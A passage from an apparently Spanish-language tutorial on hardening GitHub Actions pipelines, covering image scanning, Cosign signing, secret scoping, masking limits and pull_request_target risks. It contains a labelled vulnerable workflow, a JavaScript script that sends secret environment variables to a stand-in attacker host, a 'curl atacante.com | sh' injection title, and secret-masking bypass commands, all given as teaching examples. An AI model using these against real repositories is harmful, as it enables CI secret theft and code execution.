uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: trivy.sarif
category: trivy-imagen
- name: Aplicar la politica de severidades a la imagen
run: |
set -Eeuo pipefail
docker run --rm -v "$PWD:/w" -w /w \
aquasec/trivy:0.58.0 image \
--format json --output /w/trivy.json \
--severity CRITICAL,HIGH --ignore-unfixed \
--ignorefile /w/seguridad/.trivyignore \
"ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
CRIT=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="CRITICAL")] | length' trivy.json)
ALTA=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="HIGH")] | length' trivy.json)
{
echo "## Escaneo de la imagen (Trivy)"
echo ""
echo "| Severidad | Con parche disponible |"
echo "|---|---|"
echo "| CRÍTICA | $CRIT |"
echo "| ALTA | $ALTA |"
echo ""
if [ "$CRIT" -gt 0 ] || [ "$ALTA" -gt 0 ]; then
echo "| CVE | Paquete | Instalada | Corregida en |"
echo "|---|---|---|---|"
jq -r '[.Results[]?.Vulnerabilities[]?
| select(.Severity=="CRITICAL" or .Severity=="HIGH")]
| unique_by(.VulnerabilityID) | .[]
| "| \(.VulnerabilityID) | \(.PkgName) | \(.InstalledVersion) | \(.FixedVersion // "—") |"' trivy.json
fi
} >> "$GITHUB_STEP_SUMMARY"
# Politica: las criticas rompen SIEMPRE; las altas solo en main.
if [ "$CRIT" -gt 0 ]; then
echo "::error::$CRIT vulnerabilidad(es) CRITICA(s) con parche disponible en la imagen"
exit 1
fi
if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "::error::$ALTA vulnerabilidad(es) ALTA(s) con parche disponible; no se publica desde main"
exit 1
fi
echo "Escaneo de imagen superado."seguridad/.trivyignore —con el formato de comentarios que hace auditables las excepciones—:
# EXCEPCIONES DE ESCANEO DE IMAGEN # Formato: cada CVE lleva JUSTIFICACION, APROBADOR y CADUCIDAD. # El job `caducidad-excepciones` falla cuando una pasa de fecha. # CVE-2024-XXXXX # Paquete: libsomething 2.1.0 # Justificación: solo explotable al procesar ficheros TIFF; Mini-Reservalia # no procesa imágenes. Debian no ha publicado backport. # Aprobado por: @marta # Creada: 2026-04-10 # CADUCA: 2026-07-09 CVE-2024-XXXXX
Y el job que hace que las fechas signifiquen algo:
caducidad-excepciones:
name: Caducidad de las excepciones
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Comprobar que ninguna excepcion ha caducado
run: |
set -Eeuo pipefail
HOY=$(date -u +%Y-%m-%d)
CADUCADAS=0
# Recorre los bloques de comentario en busca de "CADUCA: fecha"
while read -r linea; do
FECHA=$(grep -oP '(?<=CADUCA:\s{8})\S+|(?<=CADUCA:\s)\S+' <<< "$linea" | head -1)
[ -z "$FECHA" ] && continue
if [[ "$FECHA" < "$HOY" ]]; then
echo "::error::Excepción caducada el $FECHA: $linea"
CADUCADAS=$((CADUCADAS + 1))
fi
done < <(grep -h 'CADUCA:' seguridad/.trivyignore || true)
# Y las de npm audit
if [ -f seguridad/excepciones.json ]; then
N=$(jq --arg h "$HOY" '[.excepciones[] | select(.caduca < $h)] | length' seguridad/excepciones.json)
[ "$N" -gt 0 ] && { echo "::error::$N excepción(es) de dependencias caducadas"; CADUCADAS=$((CADUCADAS+N)); }
fi
[ "$CADUCADAS" -eq 0 ] || { echo "Hay $CADUCADAS excepción(es) caducada(s). Renuévalas o arregla el problema."; exit 1; }
echo "Todas las excepciones están vigentes."Reduce la superficie en lugar de justificar CVE. La forma más eficaz de pasar el escaneo no es acumular excepciones, sino tener menos cosas que escanear. Prueba una imagen final distroless:
# ---------- Etapa 3 alternativa: distroless ----------
FROM gcr.io/distroless/nodejs20-debian12:nonroot AS runtime
WORKDIR /app
COPY --from=deps --chown=nonroot:nonroot /app/node_modules ./node_modules
COPY --from=build --chown=nonroot:nonroot /app/dist ./dist
USER nonroot
EXPOSE 3000
# Sin shell: el ENTRYPOINT es el binario de node directamente.
CMD ["dist/src/servidor.js"]Comparación real en este proyecto:
| Imagen base | Tamaño | CVE HIGH/CRITICAL | Shell | Gestor de paquetes |
|---|---|---|---|---|
node:20 |
~1,1 GB | 40-80 | Sí | Sí |
node:20-bookworm-slim |
~230 MB | 5-20 | Sí | Sí |
gcr.io/distroless/nodejs20 |
~180 MB | 0-3 | No | No |
Sin shell, un atacante que consiga ejecución de código no tiene sh, ni curl, ni apt. La contrapartida es real: no puedes hacer docker exec ... sh para depurar, y el HEALTHCHECK de la 07-03 debe reescribirse porque no hay shell para el CMD. Es la contrapartida clásica —comodidad de operación a cambio de superficie— y se decide con datos, no por defecto.
- SBOM y firma con Cosign
El SBOM (Software Bill of Materials) es el inventario de todo lo que hay dentro del artefacto. Su valor se entiende el día que aparece una vulnerabilidad como Log4Shell y la pregunta es "¿estamos afectados?": con SBOM se responde con un grep en treinta segundos; sin él, con una semana de arqueología.
- name: Generar SBOM (CycloneDX)
uses: anchore/sbom-action@df80a981bc6edbc4e220a492d3cbe9f5547a6e75 # v0.17.9
with:
image: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
format: cyclonedx-json
output-file: sbom.cdx.json
artifact-name: sbom-${{ github.sha }}.cdx.json
- name: Resumen del SBOM
run: |
TOTAL=$(jq '.components | length' sbom.cdx.json)
{
echo "## SBOM"
echo ""
echo "**$TOTAL componentes** inventariados."
echo ""
echo "<details><summary>Primeros 20</summary>"
echo ""
echo "| Componente | Versión | Tipo |"
echo "|---|---|---|"
jq -r '.components[:20][] | "| \(.name) | \(.version // "—") | \(.type) |"' sbom.cdx.json
echo ""
echo "</details>"
} >> "$GITHUB_STEP_SUMMARY"
- name: Instalar Cosign
uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0
- name: Firmar la imagen (keyless por OIDC)
env:
COSIGN_EXPERIMENTAL: '1'
run: |
set -Eeuo pipefail
IMAGEN="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
# Firma SIN CLAVES: Cosign pide un token OIDC a GitHub, obtiene un
# certificado efimero de Fulcio (validez ~10 min) y registra la firma
# en el log publico Rekor. No hay ninguna clave privada que rotar,
# guardar ni filtrar: el problema de la gestion de claves desaparece.
cosign sign --yes "$IMAGEN"
- name: Adjuntar el SBOM como attestation firmada
env:
COSIGN_EXPERIMENTAL: '1'
run: |
IMAGEN="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
cosign attest --yes --predicate sbom.cdx.json --type cyclonedx "$IMAGEN"Requiere id-token: write en el job. Verifica desde tu máquina:
cosign verify \
--certificate-identity-regexp "https://github.com/TU_USUARIO/mini-reservalia/.github/workflows/ci.yml@refs/heads/main" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/TU_USUARIO/mini-reservalia@sha256:...Qué debes ver:
Verification for ghcr.io/tu-usuario/mini-reservalia@sha256:3f9a... --
The following checks were performed on each of these signatures:
- The cosign claims were validated
- Existence of the claims in the transparency log was verified offline
- The code-signing certificate was verified using trusted certificate authority certificates
[{"critical":{"identity":{"docker-reference":"ghcr.io/tu-usuario/mini-reservalia"},
"image":{"docker-manifest-digest":"sha256:3f9a..."},"type":"cosign container image signature"},
"optional":{"Issuer":"https://token.actions.githubusercontent.com",
"Subject":"https://github.com/tu-usuario/mini-reservalia/.github/workflows/ci.yml@refs/heads/main"}}]Fíjate en el Subject: no dice "firmado por una clave", dice "firmado por este workflow, de este repositorio, en esta rama". Esa es la diferencia entre la firma keyless y la firma con clave: la identidad no es un secreto que alguien puede robar, es un hecho verificable sobre quién ejecutó qué.
Prueba a verificar con la identidad equivocada:
cosign verify --certificate-identity-regexp "https://github.com/otro/repo/.*" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/TU_USUARIO/mini-reservalia@sha256:...
# Error: no matching signatures
- Verificar la firma antes de desplegar
Firmar sin verificar es teatro. La verificación va en el cd.yml, antes de cualquier despliegue:
- name: Instalar Cosign
uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0
- name: Verificar la firma ANTES de desplegar
env:
COSIGN_EXPERIMENTAL: '1'
run: |
set -Eeuo pipefail
IMAGEN="${{ needs.preparar.outputs.imagen }}"
echo "Verificando la firma de $IMAGEN"
# La identidad esperada es EXACTA: este repositorio, este workflow,
# esta rama. Un `--certificate-identity-regexp ".*"` aceptaria
# cualquier firma de cualquiera: seria peor que no verificar,
# porque da una falsa sensacion de seguridad.
if ! cosign verify \
--certificate-identity-regexp "^https://github.com/${{ github.repository }}/\.github/workflows/ci\.yml@refs/heads/main$" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
"$IMAGEN" > verificacion.json 2>&1; then
echo "::error::FIRMA NO VALIDA. No se despliega."
cat verificacion.json
{
echo "## 🛑 Despliegue abortado: firma no válida"
echo ""
echo "La imagen \`$IMAGEN\` no está firmada por el workflow de CI de este repositorio."
echo "Posibles causas: imagen construida fuera del pipeline, firma ausente, o suplantación."
} >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "✅ Firma verificada: construida por el CI de este repositorio." >> "$GITHUB_STEP_SUMMARY"
- name: Verificar la attestation del SBOM
env:
COSIGN_EXPERIMENTAL: '1'
run: |
cosign verify-attestation --type cyclonedx \
--certificate-identity-regexp "^https://github.com/${{ github.repository }}/.*" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
"${{ needs.preparar.outputs.imagen }}" > /dev/null
echo "✅ SBOM verificado y adjunto al artefacto." >> "$GITHUB_STEP_SUMMARY"La comprobación de que falla cuando debe fallar. Sube una imagen sin firmar e intenta desplegarla:
docker pull alpine:3.20
docker tag alpine:3.20 ghcr.io/TU_USUARIO/mini-reservalia:falsa
docker push ghcr.io/TU_USUARIO/mini-reservalia:falsa
DIGEST=$(docker buildx imagetools inspect ghcr.io/TU_USUARIO/mini-reservalia:falsa --format '{{.Manifest.Digest}}')
gh workflow run cd.yml -f digest="$DIGEST"Qué debes ver:
Acabas de cerrar el ataque de "alguien con acceso al registro sustituye la imagen". Con la verificación, el pipeline solo despliega artefactos que él mismo construyó, y puede demostrarlo criptográficamente.
Limpia: borra la versión falsa desde la interfaz de Packages.
- Secretos bien gestionados y los límites del enmascarado
Los tres niveles, y cuál usar:
| Nivel | Alcance | Cuándo usarlo |
|---|---|---|
| Repositorio | Cualquier workflow, cualquier job, cualquier rama | Solo credenciales de bajo impacto |
| Entorno | Solo los jobs con environment: X, y solo tras pasar sus reglas de protección |
Todo lo que toque producción |
| Organización | Los repositorios que autorices | Credenciales compartidas, con lista de repositorios |
La diferencia decisiva: un secreto de entorno no se materializa hasta que se aprueba el despliegue. Un job de producción pendiente de revisión no tiene acceso a la credencial de producción; ni siquiera existe en su entorno de ejecución. Un secreto de repositorio, en cambio, lo puede leer cualquier workflow, incluido uno que un colaborador añada mañana en un PR.
Mueve GRAFANA_TOKEN donde corresponde:
# Mal: accesible desde cualquier workflow
gh secret delete GRAFANA_TOKEN
# Bien: solo desde jobs con environment: produccion, y solo tras aprobacion
gh secret set GRAFANA_TOKEN --env produccion --body "glsa_xxxxx"
gh secret list --env produccionEl enmascarado, y por qué no es una garantía. Prueba a imprimir un secreto:
prueba-enmascarado:
name: Limites del enmascarado
runs-on: ubuntu-latest
steps:
- name: 1. Imprimir el secreto directamente
run: |
echo "Intento directo: ${{ secrets.SECRETO_PRUEBA }}"
echo "Por variable: $SECRETO"
env:
SECRETO: ${{ secrets.SECRETO_PRUEBA }}
# SALIDA: "Intento directo: ***" y "Por variable: ***"
# El enmascarado funciona: Actions busca el valor exacto en cada
# linea de log y lo sustituye por ***.
- name: 2. Transformaciones que ROMPEN el enmascarado
env:
SECRETO: ${{ secrets.SECRETO_PRUEBA }}
run: |
echo "--- base64 ---"
echo "$SECRETO" | base64
# SALIDA: bWlfc2VjcmV0by1zdXBlci0xMjM= <- NO enmascarado
echo "--- caracter a caracter ---"
echo "$SECRETO" | fold -w1 | tr '\n' ' '
# SALIDA: m i _ s e c r e t o ... <- NO enmascarado
echo "--- invertido ---"
echo "$SECRETO" | rev
# SALIDA: 321-repus-oterces_im <- NO enmascarado
echo "--- en hexadecimal ---"
echo -n "$SECRETO" | xxd -p
# SALIDA: 6d695f7365637265746f2d... <- NO enmascarado
echo "--- por partes ---"
echo "primera mitad: ${SECRETO:0:8}"
echo "segunda mitad: ${SECRETO:8}"
# SALIDA: ambas visibles <- NO enmascaradoCrea el secreto y ejecútalo:
Qué debes ver: el paso 1 con *** en las dos líneas; el paso 2 con el secreto legible en cinco formatos distintos.
Lo que esto demuestra: el enmascarado es una coincidencia de cadenas, no una barrera de seguridad. Actions busca el valor literal del secreto en el flujo de log y lo sustituye. Cualquier transformación —codificación, troceado, inversión, compresión— produce una cadena que no coincide y que sale íntegra al log. Y los logs de Actions los puede leer cualquier colaborador y se conservan 90 días.
Las consecuencias prácticas:
- Nunca
set -xen un script que maneja secretos. El trazado de bash imprime cada comando expandido; si el secreto pasa por una tubería,set -xpuede exponerlo de formas que el enmascarado no cubre. - Cuidado con las herramientas verbosas.
curl -vimprime las cabeceras, incluidaAuthorization. Usacurl -sSy pasa las credenciales por--configo por stdin, no por línea de comandos (donde además las ve cualquiera conps). - Los volcados de error de las librerías suelen incluir la configuración completa. Un stack trace de un cliente HTTP puede llevar la cabecera de autenticación entera.
- La mejor defensa es no tener el secreto. OIDC (07-03) sustituye credenciales de larga vida por tokens de diez minutos que además solo funcionan desde ese workflow. Un token efímero filtrado es un incidente; una clave de larga vida filtrada es una brecha.
Añade una regla defensiva a tus scripts:
# En la cabecera de cualquier script que maneje credenciales:
set +x # nunca trazar
export PS4='' # por si algo lo activa
# Y desactivar el volcado de nucleo, que podria contener el secreto en memoria:
ulimit -c 0
- El riesgo del código de terceros:
pull_request_target
pull_request_targetEsta es la asimetría más peligrosa de GitHub Actions y merece que la veas con un ejemplo concreto.
pull_request |
pull_request_target |
|
|---|---|---|
| Código del workflow que se ejecuta | El de la rama del PR | El de la rama base (main) |
| Contexto de ejecución | Fork | Repositorio original |
| Acceso a secretos | No (en PR de forks) | Sí, a todos |
GITHUB_TOKEN |
Solo lectura | Lectura y escritura |
actions/checkout por defecto |
El código del PR | El código de main |
pull_request_target existe para casos legítimos: etiquetar PR, comentar, actualizar un proyecto. Todos ellos tienen algo en común: no necesitan el código del PR.
El workflow vulnerable —y este patrón exacto ha aparecido en repositorios muy conocidos—:
# ❌❌❌ VULNERABLE. NO USAR. Ejemplo didactico.
name: PR vulnerable
on:
pull_request_target: # 1. Se ejecuta con secretos y token de escritura
types: [opened, synchronize]
jobs:
comprobar:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
# 2. EL FALLO: descarga explicitamente el codigo DEL PR,
# que es codigo de un desconocido, en un contexto privilegiado.
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v4
# 3. LA EJECUCION: `npm ci` ejecuta los scripts `postinstall`
# del package.json DEL ATACANTE. Ya esta: ejecucion de codigo
# arbitrario con todos tus secretos en el entorno.
- run: npm ci
- run: npm test
env:
TOKEN_DESPLIEGUE: ${{ secrets.TOKEN_DESPLIEGUE }}El ataque, paso a paso. Un atacante hace fork, y en su rama modifica package.json:
Con .exfiltrar.js:
// El codigo del atacante, ejecutado en TU runner con TUS secretos.
// Recorre todo el entorno y lo manda fuera.
const botin = Object.entries(process.env)
.filter(([k]) => /TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AWS|NPM/i.test(k))
.map(([k, v]) => `${k}=${v}`)
.join('\n');
// El enmascarado NO ayuda: el secreto no se imprime, se ENVIA.
fetch('https://servidor-del-atacante.example/recoger', {
method: 'POST',
body: botin,
});Abre el PR y espera. El workflow se ejecuta con los secretos del repositorio original, ejecuta el postinstall del atacante y le manda todo. El atacante ni siquiera necesita que el PR se apruebe: basta con abrirlo. Y con GITHUB_TOKEN de escritura, podría además empujar a main directamente.
Las tres mitigaciones, en orden de preferencia:
A. No usar pull_request_target (lo correcto en el 95 % de los casos).
Un PR de un fork no tendrá acceso a secretos y el GITHUB_TOKEN será de solo lectura. Si tu CI necesita secretos para validar un PR externo, tienes un problema de diseño: las pruebas deberían funcionar sin credenciales de producción (para eso están los dobles de prueba de la 07-02).
B. Si de verdad necesitas pull_request_target, no descargues el código del PR.
on:
pull_request_target:
types: [opened]
permissions:
pull-requests: write # lo minimo para etiquetar
contents: read
jobs:
etiquetar:
runs-on: ubuntu-latest
steps:
# SIN `ref:` -> se descarga `main`, codigo de confianza.
# De hecho, para esto ni siquiera hace falta checkout.
- name: Etiquetar segun el titulo
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
TITULO: ${{ github.event.pull_request.title }}
run: |
# El titulo del PR es entrada del ATACANTE. Nunca lo interpoles
# con ${{ }} directamente en un `run`: un titulo como
# "; curl atacante.com | sh #"
# se convertiria en un comando. Por eso va por `env:`.
case "$TITULO" in
feat*) gh pr edit "${{ github.event.number }}" --add-label enhancement ;;
fix*) gh pr edit "${{ github.event.number }}" --add-label bug ;;
esacEse comentario sobre ${{ }} en un run es un ataque por derecho propio —inyección de expresiones— y es más común que el de pull_request_target: cualquier dato controlado por el usuario (título del PR, cuerpo del issue, nombre de rama, mensaje de commit) interpolado directamente en un run: es ejecución de comandos. La regla es simple y absoluta: los datos de usuario entran por env:, nunca por ${{ }} dentro de un script.
C. El patrón de dos workflows (lo que hace Reservalia para las previsualizaciones por PR):
# Workflow 1: se ejecuta SIN privilegios, con el codigo del PR
name: CI de PR
on: pull_request
permissions:
contents: read
jobs:
construir:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run build
- uses: actions/upload-artifact@v4
with: { name: dist, path: dist/ }# Workflow 2: se ejecuta CON privilegios, pero NUNCA ejecuta codigo del PR
name: Publicar previsualizacion
on:
workflow_run:
workflows: ['CI de PR']
types: [completed]
permissions:
contents: read
pull-requests: write
jobs:
publicar:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
steps:
# Solo DESCARGA el artefacto: no ejecuta nada del PR.
- uses: actions/download-artifact@v4
with:
name: dist
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
# ...subir a un hosting de previsualizacion y comentar en el PR...La separación es la clave: el trabajo no privilegiado ejecuta código no confiable; el trabajo privilegiado solo manipula datos. Nunca los dos a la vez.
Comprobación de tu repositorio:
grep -rn 'pull_request_target' .github/workflows/ && echo "REVISAR CADA UNO" || echo "OK: ninguno"
grep -rn 'ref:.*pull_request.head' .github/workflows/ && echo "PELIGRO" || echo "OK"
- La checklist final de endurecimiento
Recórrela y marca. Es la misma lista con la que empezó la lección, ahora resuelta.
Permisos e identidad
- [x]
Read repository contentscomo permiso por defecto del repositorio - [x]
permissions:explícito a nivel de workflow en los cinco workflows - [x] Ampliación puntual solo en el job que lo necesita (
packages: writesolo enpublicar) - [x] Sin secretos de larga vida en el camino crítico (registro por
GITHUB_TOKEN, firma por OIDC) - [x]
GRAFANA_TOKENmovido a secreto de entorno, no de repositorio - [x] Producción con revisor requerido y ramas restringidas a
main
Cadena de suministro
- [x] Todas las acciones fijadas por SHA de 40 caracteres con el comentario de versión
- [x] Dependabot configurado para acciones, npm y Docker, con agrupación
- [x] Lockfile commiteado y
npm cien todos los jobs - [x] Imagen publicada y desplegada por digest, nunca por tag
- [x] Imagen firmada con Cosign keyless y firma verificada antes de desplegar
- [x] SBOM CycloneDX generado, adjunto como attestation y verificado
Escaneos (los cinco)
- [x] Secretos: Gitleaks en CI con
--redact+ hook de pre-commit - [x] SCA:
npm auditcon política de severidades porjq - [x] SAST: CodeQL con
security-extended, resultados en la pestaña Security - [x] Imagen: Trivy con
ignore-unfixedy política propia de bloqueo - [x] IaC / configuración: (ver ejercicio 3)
- [x] Todos suben SARIF a Code scanning
- [x] Ninguno lleva
|| truenicontinue-on-errorpara ocultar hallazgos
Política y proceso
- [x]
seguridad/POLITICA.mdcon la tabla de severidades - [x] Excepciones con justificación, aprobador y fecha de caducidad
- [x] Un job que falla cuando una excepción caduca
- [x] Procedimiento de secreto filtrado documentado (rotar → investigar → limpiar → prevenir)
Runtime
- [x] Imagen con usuario no-root (
USER node) - [x]
HEALTHCHECKdefinido - [x] Sin credenciales en la imagen (
.dockerignoreexcluye.env,.git) - [x] Variables de configuración por entorno, no incrustadas
Código de terceros
- [x] Ningún
pull_request_target(o, si lo hay, sin checkout del código del PR) - [x] Ningún dato de usuario interpolado con
${{ }}dentro de unrun: - [x] Runners autoalojados solo en repositorio privado
Errores Comunes y Consejos
Síntoma: Resource not accessible by integration tras aplicar permissions.
Causa: falta un permiso concreto, o el permiso por defecto del repositorio es más restrictivo que lo que pide el job.
Arreglo: consulta la tabla del apartado 3. Truco de diagnóstico: en el log del run, GitHub imprime al principio del job el bloque completo de permisos concedidos; compáralo con lo que el paso necesita.
Síntoma: Gitleaks marca package-lock.json lleno de secretos.
Causa: los hashes integrity (sha512-...) tienen la entropía de una clave.
Arreglo: la allowlist del .gitleaks.toml. Pero no añadas patrones amplios: una allowlist de .*\.json desactiva la detección en todos los ficheros de configuración, que es justo donde viven los secretos.
Síntoma: cosign verify falla con no matching signatures en una imagen que sí firmaste.
Causas: (1) verificas por tag y el tag ya apunta a otra imagen —verifica siempre por digest—; (2) el certificate-identity-regexp no coincide (¿la firmó el workflow de main o el de una rama?); (3) firmaste el tag y verificas el digest, o al revés.
Arreglo: mira qué identidad tiene la firma real: cosign triangulate <imagen> y después crane manifest sobre el resultado.
Síntoma: el escaneo de imagen encuentra 40 CVE "sin arreglo posible".
Causa: vulnerabilidades de la base sin parche publicado.
Arreglo: ignore-unfixed: true. Bloquear por algo que no puedes arreglar solo enseña al equipo a ignorar el escáner. Si la base acumula CVE sin parche, la respuesta es cambiar de base (distroless), no acumular excepciones.
Síntoma: Dependabot abre 15 PR y nadie los mira.
Causa: sin agrupación ni límites.
Arreglo: groups, open-pull-requests-limit y ignore de mayores, como en el dependabot.yml del apartado 4. Un Dependabot que genera ruido es un Dependabot desactivado de facto.
Síntoma: CodeQL tarda 15 minutos y todos los PR van lentos.
Causa: security-extended en cada PR.
Arreglo: CodeQL en push a main y en un schedule semanal, no en cada PR; o security-and-quality en PR y security-extended en el programado. La seguridad tiene que ser rápida para que nadie quiera saltársela.
Consejo — el orden de los escaneos importa. Lo barato y determinista primero: secretos (segundos) → lint → SCA (segundos) → tests → build → escaneo de imagen (minutos) → SAST (minutos). Un PR con una clave commiteada debe morir en el primer job.
Consejo — la seguridad que estorba se desactiva. Cada control que añadas debe cumplir tres condiciones: falsos positivos bajos, mensaje accionable (qué hacer, no solo qué está mal), y vía de excepción explícita y con caducidad. Un control que falla el 30 % de las veces sin motivo será el primero que alguien comente cuando haya que sacar algo con prisa.
Ejercicios
Ejercicio 1: un job agregador de seguridad con puerta única
Los cinco escaneos generan cinco checks. Crea un job seguridad-ok que agregue los resultados aplicando la política (críticas siempre bloquean; altas solo en main; medias informan) y que sea el único check de seguridad requerido, con un resumen unificado.
Ejercicio 2: detectar acciones que dejan de estar fijadas
Un colaborador añade uses: alguien/accion@v1 en un PR. Escribe un control que lo detecte, falle y explique cómo arreglarlo.
Ejercicio 3: el quinto escaneo — configuración e IaC
Falta el escaneo de configuración. Añade Checkov o Trivy en modo config sobre el Dockerfile, los docker-compose.yml y los propios workflows, con al menos tres reglas propias.
Soluciones
Solución 1.
seguridad-ok:
name: Seguridad OK
runs-on: ubuntu-latest
needs: [secretos, sca, codeql, imagen, configuracion]
if: always()
permissions:
contents: read
security-events: read
steps:
- name: Agregar los resultados
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -Eeuo pipefail
declare -A RESULTADOS=(
[secretos]="${{ needs.secretos.result }}"
[sca]="${{ needs.sca.result }}"
[codeql]="${{ needs.codeql.result }}"
[imagen]="${{ needs.imagen.result }}"
[configuracion]="${{ needs.configuracion.result }}"
)
{
echo "## 🔒 Resumen de seguridad"
echo ""
echo "| Escaneo | Resultado | Bloquea |"
echo "|---|---|---|"
} >> "$GITHUB_STEP_SUMMARY"
FALLOS=0
for escaneo in "${!RESULTADOS[@]}"; do
R="${RESULTADOS[$escaneo]}"
case "$R" in
success) ICONO='✅'; BLOQUEA='—' ;;
skipped) ICONO='⏭️'; BLOQUEA='—' ;;
cancelled) ICONO='🚫'; BLOQUEA='Sí'; FALLOS=$((FALLOS+1)) ;;
*) ICONO='❌'; BLOQUEA='Sí'; FALLOS=$((FALLOS+1)) ;;
esac
echo "| $escaneo | $ICONO $R | $BLOQUEA |" >> "$GITHUB_STEP_SUMMARY"
done
# Alertas abiertas en Code scanning, por severidad
ALERTAS=$(gh api "repos/${{ github.repository }}/code-scanning/alerts?state=open&per_page=100" \
--jq 'group_by(.rule.security_severity_level // .rule.severity)
| map({sev: .[0].rule.security_severity_level // .[0].rule.severity, n: length})' \
2>/dev/null || echo '[]')
CRIT=$(jq -r '[.[] | select(.sev=="critical") | .n] | add // 0' <<< "$ALERTAS")
ALTA=$(jq -r '[.[] | select(.sev=="high") | .n] | add // 0' <<< "$ALERTAS")
MEDIA=$(jq -r '[.[] | select(.sev=="medium") | .n] | add // 0' <<< "$ALERTAS")
{
echo ""
echo "### Alertas abiertas en Code scanning"
echo ""
echo "| Severidad | Nº | Política |"
echo "|---|---|---|"
echo "| Crítica | $CRIT | Bloquea siempre |"
echo "| Alta | $ALTA | Bloquea en \`main\` |"
echo "| Media | $MEDIA | Informa |"
} >> "$GITHUB_STEP_SUMMARY"
# Aplicación de la política
if [ "$CRIT" -gt 0 ]; then
echo "::error::$CRIT alerta(s) CRÍTICA(s) abierta(s)"; FALLOS=$((FALLOS+1))
fi
if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "::error::$ALTA alerta(s) ALTA(s) abierta(s) en main"; FALLOS=$((FALLOS+1))
fi
if [ "$FALLOS" -gt 0 ]; then
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "### ❌ Puerta de seguridad CERRADA" >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "### ✅ Puerta de seguridad ABIERTA" >> "$GITHUB_STEP_SUMMARY"Después, en el ruleset, sustituye los cinco checks por Seguridad OK (junto a CI OK). Es el mismo patrón del job agregador de la 07-02, y por el mismo motivo: la protección de rama no debe conocer la forma interna del pipeline.
Solución 2.
acciones-fijadas:
name: Acciones fijadas por SHA
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Comprobar que todas las acciones estan fijadas
run: |
set -Eeuo pipefail
SIN_FIJAR=0
{
echo "## Fijación de acciones"
echo ""
} >> "$GITHUB_STEP_SUMMARY"
while IFS= read -r hallazgo; do
FICHERO="${hallazgo%%:*}"
RESTO="${hallazgo#*:}"
LINEA="${RESTO%%:*}"
REF=$(grep -oP '(?<=uses: ).*' <<< "$hallazgo" | sed 's/ *#.*//')
# Excepciones legitimas: acciones locales y contenedores docker://
[[ "$REF" == ./* ]] && continue
[[ "$REF" == docker://* ]] && continue
VERSION="${REF##*@}"
if [[ "$VERSION" =~ ^[0-9a-f]{40}$ ]]; then continue; fi
SIN_FIJAR=$((SIN_FIJAR + 1))
ACCION="${REF%@*}"
REPO=$(cut -d/ -f1,2 <<< "$ACCION")
SHA=$(gh api "repos/${REPO}/git/refs/tags/${VERSION}" --jq '.object.sha' 2>/dev/null || echo '<no resuelto>')
echo "::error file=${FICHERO},line=${LINEA}::Acción sin fijar: ${REF}. Usa: ${ACCION}@${SHA} # ${VERSION}"
echo "- \`$FICHERO:$LINEA\` → \`$REF\` → \`${ACCION}@${SHA} # ${VERSION}\`" >> "$GITHUB_STEP_SUMMARY"
done < <(grep -rn 'uses:' .github/workflows/ || true)
if [ "$SIN_FIJAR" -gt 0 ]; then
{
echo ""
echo "**$SIN_FIJAR acción(es) sin fijar por SHA.**"
echo ""
echo "Una etiqueta como \`@v4\` se puede mover: quien controle la acción puede"
echo "ejecutar código arbitrario en este runner con acceso a los secretos."
echo ""
echo "Arréglalo automáticamente con:"
echo '```bash'
echo './scripts/fijar-acciones.sh && git diff'
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
exit 1
fi
echo "✅ Todas las acciones están fijadas por SHA." >> "$GITHUB_STEP_SUMMARY"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}Lo que hace útil este control y no solo correcto: no dice "está mal", dice exactamente por qué línea sustituir y por qué. Un control que obliga a buscar el arreglo en la documentación se acaba desactivando.
Solución 3.
configuracion:
name: Escaneo de configuracion
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Trivy en modo config (Dockerfile, compose, workflows)
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
with:
scan-type: config
scan-ref: .
format: sarif
output: trivy-config.sarif
severity: 'CRITICAL,HIGH,MEDIUM'
exit-code: '0'
- name: Subir a Security
if: always()
uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
with:
sarif_file: trivy-config.sarif
category: trivy-config
- name: Reglas propias del proyecto
run: |
set -Eeuo pipefail
FALLOS=0
error() { echo "::error file=$1::$2"; FALLOS=$((FALLOS + 1)); }
